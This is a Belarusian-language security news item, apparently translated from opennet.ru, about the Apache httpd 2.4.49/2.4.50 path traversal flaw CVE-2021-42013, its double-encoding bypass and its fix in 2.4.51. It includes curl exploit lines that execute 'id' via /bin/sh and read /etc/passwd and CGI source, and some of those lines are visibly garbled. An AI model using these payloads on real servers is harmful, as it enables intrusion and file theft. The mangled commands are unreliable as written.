Яшчэ адна ўразлівасць у Apache httpd, якая дазваляе звярнуцца за межы каранёвага каталога сайта

Знойдзены новы вектар нападу на http-сервер Apache, які застаўся нявыпраўленым у абнаўленні 2.4.50 і дазваляе атрымаць доступ да файлаў з абласцей па-за каранёвым каталогам сайта. Акрамя таго, даследнікамі знойдзены спосаб, які дазваляе пры наяўнасці вызначаных нестандартных налад не толькі прачытаць сістэмныя файлы, але і выдалена выканаць свой код на серверы. Праблема выяўляецца толькі ў выпусках 2.4.49 і 2.4.50, больш раннія версіі ўразлівасці не схільныя. Для ўхілення новага варыянту ўразлівасці аператыўна сфармаваны выпуск Apache httpd 2.4.51.

Па сваёй сутнасці новая праблема (CVE-2021-42013) цалкам аналагічная першапачатковай уразлівасці (CVE-2021-41773) у 2.4.49, розніца толькі ў іншай кадоўцы сімвалаў "..". У прыватнасці, у выпуску 2.4.50 была заблакаваная магчымасць выкарыстання паслядоўнасці «%2e» для кадавання кропкі, але выпушчана магчымасць падвойнага кадавання — пры ўказанні паслядоўнасці «%%32%65» сервер дэкадаваў яе ў «%2e», а затым у « .», г.зн. сімвалы "../" для пераходу ў папярэдні каталог можна было закадзіраваць як ".%%32%65/".

Што да эксплуатацыі ўразлівасці праз выкананне кода, тое падобнае магчыма пры ўключэнні mod_cgi і выкарыстанні базавага шляху, у якім дазволена выкананне CGI-скрыптоў (напрыклад, калі ўключаная дырэктыва ScriptAlias ​​або паказаны сцяг ExecCGI у дырэктыве Options). Абавязковым патрабаваннем для паспяховага правядзення нападу таксама з'яўляецца відавочнае падаванне ў наладах Apache доступу да каталогаў з выкананымі файламі, такім як /bin, ці доступу да кораня ФС "/". Бо звычайна такі доступ не падаецца, то напад па выкананні кода малапрыдатная да рэальных сістэм.

Пры гэтым застаецца актуальнай атака па атрыманні змесціва адвольных сістэмных файлаў і зыходных тэкстаў web-скрыптоў, даступных для чытання карыстачу, пад якім запушчаны http-сервер. Для правядзення такой атакі дастаткова наяўнасці на сайце каталога, настроенага пры дапамозе дырэктыў "Alias" або "ScriptAlias" (DocumentRoot не дастаткова), такога як "cgi-bin".

Прыклад эксплоіту, які дазваляе выканаць утыліту «id» на серверы: curl 'http://192.168.0.1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%% 32% 65/.%% 32% 65/bin/sh '-data 'echo Content-Type: text/plain; echo; id' uid=1(daemon) gid=1(daemon) groups=1(daemon)

Прыклад эксплоітаў, які дазваляе вывесці змесціва /etc/passwd і аднаго з web-скрыптоў (для аддачы кода скрыптоў у якасці базавага павінен быць паказаны вызначаны праз дырэктыву «Alias» каталог, для якога не ўключана выкананне скрыптоў): curl 'http://192.168.0.1 .32/cgi-bin/.%%65%32/.%%65%32/.%%65%32/.%%65%32/.%%65%192.168.0.1/etc/passwd' curl 'http: //32/aliaseddir/.%%65%32/.%%65%32/.%%65%32/.%%65%32/.%%65%2/usr/local/apacheXNUMX/cgi -bin/test.cgi'

Праблема закранае ў асноўным бесперапынна абнаўляюцца дыстрыбутывы, такія як Fedora, Arch Linux і Gentoo, а таксама парты FreeBSD. Пакеты ў стабільных галінах кансерватыўных серверных дыстрыбутываў Debian, RHEL, Ubuntu і SUSE уразлівасці не схільныя. Праблема не праяўляецца, калі доступ да каталогаў відавочна забаронены пры дапамозе налады "require all denied".

Крыніца: opennet.ru

Дадаць каментар